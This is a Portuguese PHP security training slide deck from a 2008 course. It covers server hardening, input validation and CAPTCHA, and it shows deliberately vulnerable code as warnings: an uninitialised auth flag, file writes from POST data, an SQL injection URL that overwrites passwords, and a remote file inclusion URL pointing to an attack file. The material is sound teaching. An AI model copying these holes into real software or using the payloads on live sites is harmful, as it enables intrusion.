advertisement

Segurança (in portuguese)

50 %
50 %
advertisement
Information about Segurança (in portuguese)
Technology

Published on October 2, 2008

Author: bpedro

Source: slideshare.net

advertisement

Segurança PHP Advanced - 19 de Setembro de 2008 Bruno Pedro <bpedro@tarpipe.com>

PHP Advanced Conteúdo • Melhorar a segurança • Validação de dados • Prevenção contra scripts • Projecto • Resumo Segurança 2

PHP Advanced Sistema Operativo • Manter o Sistema Operativo sempre actualizado • Instalar todas as actualizações de segurança disponibilizadas • Desligar todos os serviços não utilizados • Auditoria de Sistema Operativo: • Nessus: http://www.nessus.org/ Segurança 3

PHP Advanced Apache • Executar com user ID próprio • Desligar módulo mod_autoindex • Negar acesso a directórios não necessários • templates, templates_c, lib, etc • Negar acesso a ficheiros não necessários • *.bak, *.tpl, *.*~, etc Segurança 4

PHP Advanced PHP • display_errors = Off • log_errors = On • error_log = /var/log/php.log • register_globals = Off • session.use_trans_sid = 0 • open_basedir = /directorio/do/website • expose_php = Off Segurança 5

PHP Advanced Input do utilizador • Variáveis globais são um problema • register_globals está desligado por omissão • Mesmo assim convém inicializar todas as variáveis utilizadas Segurança 6

PHP Advanced Input do Utilizador <?php // (...) if ($auth) { $fullAccess = true; } if ($fullAccess) { // (...) } ?> Segurança 7

PHP Advanced Formulários • Nunca confiar no que o utilizador introduz num formulário • Nunca fazer include’s ou require’s utilizando variáveis provenientes de formulários • Nunca manipular ficheiros utilizando variáveis provenientes de formulários • É possível efectuar um POST a formulário através de JavaScript, mesmo sem estar na página do formulário Segurança 8

PHP Advanced Formulários <?php $fp = fopen($_POST[‘username’], ‘a’); fputs($fp, ‘Nome: ‘ . $_POST[‘name’]); fclose($fp); ?> Segurança 9

PHP Advanced Bases de Dados • mysql_real_escape_string() • Utilizar plicas em todos os valores sempre que possível • Atenção a aplicações que usem paginação e validar o parâmetro correspondente ao número da página Segurança 10

PHP Advanced Bases de Dados <?php // URL: // http://example.com/?table=user+SET+password=%3Dmypass%3D+%23 $res = mysql_query(‘UPDATE ‘ . $_GET[‘table’] . ‘ SET visits=visits+1 WHERE id=’ . $_GET[‘id’]); // Query realmente executado: // UPDATE user SET password=”mypass” # SET visits=visits+1 WHERE id= ?> Segurança 11

PHP Advanced Programas externos • Nunca confiar em parâmetros de GET e passá-los como parâmetros de programas externos • Utilizar sempre escapeshellarg() em todos os parâmetros de programas externos Segurança 12

PHP Advanced Inclusão de Scripts • O bug mais comum é relacionado com a inclusão de scripts baseada em parâmetros GET • Desligar o allow_url_fopen sempre que possível para não permitir a abertura de ficheiros remotos Segurança 13

PHP Advanced Inclusão de Scripts <?php // URL: // http://example.com/?page=http://mysite.com/attack include $_GET[‘page’] . ‘.inc’; // Na realidade é feito um include a // http://mysite.com/attack.inc // que poderá ter código malicioso ?> Segurança 14

PHP Advanced Sessões • Poderá ser possível injectar o ID da sessão através de parâmetro GET ou de Cookie, tomando conta de uma sessão activa • Esta técnica tem o nome de Session Fixation ou Session Hijacking • Utilizar a função session_regenerate_id() Segurança 15

PHP Advanced XSS • Nunca escrever directamente conteúdo proveniente de formulários ou de parâmetros GET • É possível introduzir conteúdo num formulário que, ao ser escrito, abra uma localização remota e permita ao atacante obter informação sobre o utilizador Segurança 16

PHP Advanced Prevenção contra scripts • No registo • Garante que só um humano se consegue registar • Evita registos em quantidade ou um ataque propositado • Na autenticação • Evita tentativas de obter autenticação através de força bruta Segurança 17

PHP Advanced Prevenção contra scripts • CAPTCHA • Completely Automated Public Turing tests to tell Computers and Humans Apart • Garante que o formulário foi preenchido por um humano • Validação por Email • OpenID Segurança 18

PHP Advanced PEAR::Text_CAPTCHA • Instalação • pear install Text_CAPTCHA • pear install Image_Text • Obtenção de uma font TTF Segurança 19

PHP Advanced PEAR::Text_CAPTCHA Segurança 20

PHP Advanced PEAR::Text_CAPTCHA Segurança 21

PHP Advanced PEAR::Text_CAPTCHA Segurança 22

PHP Advanced reCAPTCHA • Web Service • Biblioteca em PHP • Disponível em http://recaptcha.net/ • Ajuda a digitalizar livros Segurança 23

PHP Advanced Validação por Email • Tornar obrigatória a inserção do endereço de Email no formulário • Após o formulário ter sido preenchido gerar um ID e gravá-lo juntamente com os dados • Enviar uma mensagem ao endereço introduzido com instruções de confirmação Segurança 24

PHP Advanced Projecto • Escolher um dos mecanismos de prevenção contra scripts e implementá-lo nos formulários de registo e de autenticação Segurança 25

PHP Advanced Resumo • Melhorias na segurança • XSS • CAPTCHA • Validação por Email • Implementação Segurança 26

PHP Summer School Questões? OOP em PHP 27

PHP Advanced Mais informação • O meu blog: http://unfoldingtheweb.com/ • Manual de PHP: http://www.php.net/ • PEAR: http://pear.php.net/ • reCAPTCHA: http://recaptcha.net/ Segurança 28

Add a comment

Related presentations

Presentación que realice en el Evento Nacional de Gobierno Abierto, realizado los ...

In this presentation we will describe our experience developing with a highly dyna...

Presentation to the LITA Forum 7th November 2014 Albuquerque, NM

Un recorrido por los cambios que nos generará el wearabletech en el futuro

Um paralelo entre as novidades & mercado em Wearable Computing e Tecnologias Assis...

Microsoft finally joins the smartwatch and fitness tracker game by introducing the...

Related pages

segurança translation English | Portuguese dictionary ...

segurança translation english, Portuguese - English dictionary, meaning, see also 'mandado de segurança',segurar',segurado',seguramente', example of use ...
Read more

Polícia de Segurança Pública - Wikipedia

The Polícia de Segurança Pública (PSP; Public Security Police) is the national Portuguese police force. Part of the Portuguese security forces, the ...
Read more

Polícia de Segurança Pública Portuguese Virus Entfernung ...

Polícia de Segurança Pública Portuguese Virus (random) Ransomware. Win32 (Windows 9x, Windows XP, Windows Vista, Windows Seven)
Read more

security translation Portuguese | English-Portuguese ...

security translation portuguese, English - Portuguese dictionary, meaning, ... A "Orchestra" aumentou a segurança desde a nossa fuga.
Read more

Segurança - Portuguese - English Translation and Examples

segurança, safety and security, English, Portuguese, Translation, human translation, automatic translation.
Read more

Segurança Jurídica Em Portuguese do Brasil: Amazon.de ...

Humberto Avila - Segurança Jurídica (Em Portuguese do Brasil) jetzt kaufen. Kundrezensionen und 0.0 Sterne. …
Read more

segurança - Wiktionary

Portuguese Etymology . segurar ‎ “ to ... Estas grades de ferro estão aqui para nossa segurança. - These iron bars are here for our safety.
Read more

Do Mandado De Segurança (Em Portuguese do Brasil ...

Eurico Ferraresi - Do Mandado De Segurança (Em Portuguese do Brasil) jetzt kaufen. Kundrezensionen und 0.0 Sterne. …
Read more

National Republican Guard (Portugal) - Wikipedia, the free ...

The National Republican Guard (Portuguese: Guarda Nacional Republicana) or GNR is the national gendarmerie force of Portugal. Members of the GNR are ...
Read more

Início - seg-social.pt

A Segurança Social é um sistema que pretende assegurar direitos básicos dos cidadãos e a igualdade de oportunidades.
Read more